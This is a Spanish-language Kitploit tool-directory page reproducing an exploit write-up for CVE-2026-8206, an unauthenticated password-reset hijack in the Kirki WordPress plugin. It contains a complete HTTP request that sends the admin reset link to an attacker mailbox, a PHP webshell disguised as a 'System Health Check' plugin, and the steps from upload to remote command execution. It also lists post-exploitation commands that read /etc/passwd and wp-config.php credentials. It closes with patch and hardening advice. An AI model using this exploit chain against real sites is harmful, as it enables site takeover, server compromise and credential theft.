Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-8206 — CVE-2026-8206: Kirki Customizer Framework - Toma de control de cuenta no autenticada (CVSS 9.8) | Kitploit
Herramientas/GitHubGitHub/dungsocool/cve-2026-8206
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubdungsocool/cve-2026-8206

CVE-2026-8206

CVE-2026-8206: Kirki Customizer Framework - Toma de control de cuenta no autenticada (CVSS 9.8)

1hace 24 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2026-8206

Vulnerabilidad: Toma de control de cuenta no autenticada — Secuestro del correo de restablecimiento de contraseña en Kirki Customizer Framework

CVSS v3.1 9.8 / 10.0 CRÍTICA

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


1. Resumen

CVE-2026-8206 es una vulnerabilidad de Toma de control de cuenta no autenticada en Kirki Customizer Framework, un popular plugin de constructor de páginas para WordPress con más de 90.000 instalaciones activas. La vulnerabilidad permite a un atacante tomar el control de cualquier cuenta de WordPress (incluida la de administrador) simplemente enviando una única petición HTTP.

El fallo reside en el endpoint de la API REST kirki-forgot-password del módulo ComponentLibrary. Este endpoint permite solicitar el restablecimiento de contraseña de cualquier usuario y envía el enlace de restablecimiento a una dirección de correo electrónico especificada por el atacante, en lugar de al correo registrado del usuario.

InformaciónDetalles
PluginKirki Customizer Framework (constructor de páginas WordPress)
Versiones afectadas6.0.0 – 6.0.6
Parcheada6.0.7 (o 6.0.12+)
Tipo de vulnerabilidadToma de control de cuenta no autenticada mediante secuestro del correo de restablecimiento de contraseña
Endpoint/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (o /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password)
CVSS9.8 CRÍTICA

Requisitos previos para la explotación:

  • Kirki Customizer Framework 6.0.0–6.0.6 está activado
  • La API REST es pública (configuración predeterminada de WordPress)
  • El módulo ComponentLibrary está activo (activado por defecto cuando el plugin está activo)
  • No se requiere cuenta ni sesión

→ Todo sitio WordPress con Kirki 6.0.0–6.0.6 instalado es vulnerable por defecto.

2. Terminología

Endpoints REST de ComponentLibrary

Kirki registra endpoints de la API REST para la funcionalidad Component Library, incluyendo login, register, forgot-password y change-password. Todos ellos permiten el acceso de invitados (guest_permissions_check devuelve true).

Validación de nonce

El nonce de WordPress es un token de protección CSRF. Kirki requiere un nonce mediante la cabecera X-WP-Element-Nonce o comprueba un parámetro nonce en la petición. Sin embargo, el nonce puede generarse/extraerse públicamente desde el lado del cliente.

Clave de restablecimiento de contraseña

WordPress utiliza get_password_reset_key() para generar un token de restablecimiento de contraseña. Kirki incluye este token en la plantilla del correo antes de enviarlo.

3. Causa raíz — Secuestro del correo de restablecimiento de contraseña

Archivo: ComponentLibrary/controller/CompLibFormHandler.php

Bug 1: Falta de validación entre el correo y el usuario

En la versión vulnerable (6.0.0–6.0.6), la función handle_forgot_password() no verifica si el correo proporcionado coincide con el correo registrado del usuario. Un atacante puede especificar el nombre de usuario de la víctima y su propio correo: el enlace de restablecimiento se enviará al correo del atacante.

Código fuente vulnerable:

root@kitploit:~
public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

Bug 2: Falta de firma HMAC en la plantilla del correo

El asunto y el cuerpo del correo se reciben del cliente a través de los parámetros emailSubject y emailBody sin ninguna firma HMAC que verifique su integridad. El atacante puede modificar arbitrariamente el contenido del correo que se envía.

root@kitploit:~
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

4. Por qué esta vulnerabilidad es peligrosa

FactorExplicación

5. Análisis de la cadena de ataque

La explotación de CVE-2026-8206 comienza desde cero acceso — sin cuenta, sin contraseña, sin sesión — hasta la toma de control total del administrador utilizando únicamente peticiones HTTP.

root@kitploit:~
Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

5.0 Metodología de construcción del payload

Paso 1: Lectura del código fuente (el método más preciso)

Descarga el plugin desde wordpress.org y abre directamente el archivo CompLibFormHandler.php:

root@kitploit:~
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

→ La lectura del código revela: emailBody debe ser un array JSON; cada elemento tiene type y value. Si type = chip y value = reset_link, Kirki inserta automáticamente el enlace de restablecimiento en el correo.

Paso 2: Buscar en el bundle JavaScript del plugin

Busca directamente dentro del directorio del plugin:

root@kitploit:~
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

El código frontend compilado revelará la estructura JSON exacta requerida.

Resumen del proceso de descubrimiento del payload:

root@kitploit:~
Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

5.1 Fase 1: Secuestro del correo de restablecimiento de contraseña

El atacante envía una petición POST al endpoint de forgot-password con el nombre de usuario de la víctima (admin) y una dirección de correo controlada por el atacante ([email protected]). El servidor genera una clave de restablecimiento para la víctima, pero envía el enlace de restablecimiento a [email protected].

Envío de la petición:

root@kitploit:~
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Petición del interceptor enviando el correo de restablecimiento

Respuesta (éxito):

Respuesta confirmando el envío del correo

Correo recibido en la bandeja de entrada del atacante (MailHog en http://localhost:8025):

root@kitploit:~
Subject: Password Reset

Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

Bandeja de entrada de MailHog recibiendo la clave de restablecimiento

5.2 Fase 2: Restablecer contraseña e iniciar sesión como administrador

El atacante utiliza el token key obtenido del correo para cambiar la contraseña de la cuenta de administrador a través del endpoint kirki-change-password o del formulario predeterminado de WordPress, luego inicia sesión y obtiene el control administrativo total del sitio.

Formulario de restablecimiento de contraseña

Contraseña cambiada y acceso mediante la cuenta admin.

Éxito al iniciar sesión en el panel de administración

Acceso exitoso a la cuenta admin.

5.3 Fase 3: Subir webshell y RCE

Tras obtener acceso al Panel de Administración, el atacante escala de Toma de control de cuenta a Ejecución remota de código (RCE) mediante la funcionalidad predeterminada de WordPress de subir plugins.

Paso 1: Crear un plugin que contenga una webshell

El atacante crea una webshell PHP disfrazada de plugin legítimo de WordPress:

root@kitploit:~
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
    echo '</pre>';
}

Este archivo se comprime en system-health.zip para su subida a través de la interfaz de administración.

Paso 2: Subir el plugin desde el panel de administración

El atacante navega a Plugins → Añadir nuevo plugin → Subir plugin, selecciona el archivo system-health.zip y hace clic en Instalar ahora → Activar plugin.

Interfaz de subida de plugin

Tras la subida, WordPress extrae automáticamente el archivo .zip en el directorio /wp-content/plugins/ del servidor, dejando la webshell lista para operar.

Paso 3: Ejecutar comandos en el servidor (RCE)

El atacante accede directamente a la webshell a través del endpoint /wp-content/plugins/webshell-plugin/shell.php

Ejecución de comando RCE whoami

Ejecución de comando RCE passwd

RCE exitoso.

En este punto, el atacante tiene plena capacidad de ejecución de comandos en el servidor con privilegios de www-data. Las acciones posteriores pueden incluir:

Resumen de la cadena de escalada de privilegios:

root@kitploit:~
Admin Dashboard (Account Takeover)
       ↓
Upload Plugin containing Webshell (.zip)
       ↓
WordPress extracts → .php file resides on server
       ↓
Access shell.php?cmd=<command>
       ↓
Server executes command → returns result
       ↓
RCE complete — full www-data privileges on server

6. Resumen de la cadena de ataque


7. Defensa y remediación

7.1 Parche del plugin (solución definitiva)

Versión actualActualizar a
6.0.0 – 6.0.66.0.7 o posterior

7.2 Corrección en el código: validar que el correo coincide con el usuario

root@kitploit:~
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response(
        array( 'message' => 'If an account exists...' ), 200
    );
}
$email = $user_email;  // Force use of the user's actual email

7.3 Endurecimiento: prevenir la escalada a RCE

Incluso si la cuenta de administrador se ve comprometida, el daño puede mitigarse con las siguientes medidas:

Descargar herramienta
No se requiere autenticaciónguest_permissions_check() devuelve true: cualquiera puede llamar al endpoint
Se puede tomar el control de cualquier cuentaSolo se necesita el nombre de usuario (por defecto: 'admin') — no se requiere correo ni contraseña
Impacto: toma de control del administradorControlar al administrador → subir webshell → RCE → control total del servidor
Amplia distribuciónKirki es un plugin ampliamente integrado en muchos temas de WordPress
ComandoPropósito
idConfirmar los privilegios del usuario en ejecución
whoamiVer el nombre de usuario actual
cat /etc/passwdLeer la lista de usuarios del sistema
uname -aVer información del kernel/SO
cat wp-config.phpLeer las credenciales de la base de datos
ls -la /Explorar todo el sistema de archivos
#FaseMétodoRuta
1Secuestrar correo de restablecimientoPOST/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
2Restablecer contraseñaGET/wp-login.php?action=rp&key=<token>&login=admin
3Iniciar sesión como administradorPOST/wp-login.php
4Subir webshellPOST/wp-admin/update.php?action=upload-plugin
5RCEGET/wp-content/plugins/webshell-plugin/shell.php?cmd=<command>
MedidaConfiguración
Bloquear la instalación de plugins/temas desde el panelAñadir define('DISALLOW_FILE_MODS', true); a wp-config.php
Bloquear la edición de código desde el panelAñadir define('DISALLOW_FILE_EDIT', true); a wp-config.php
Restringir permisos del directorio de subidaschmod 755 para directorios, chmod 644 para archivos
WAF (Firewall de aplicaciones web)Implementar ModSecurity o Cloudflare WAF para bloquear peticiones anómalas a la API REST
MonitorizaciónSupervisar los cambios de archivos en /wp-content/plugins/ con herramientas como OSSEC o Wordfence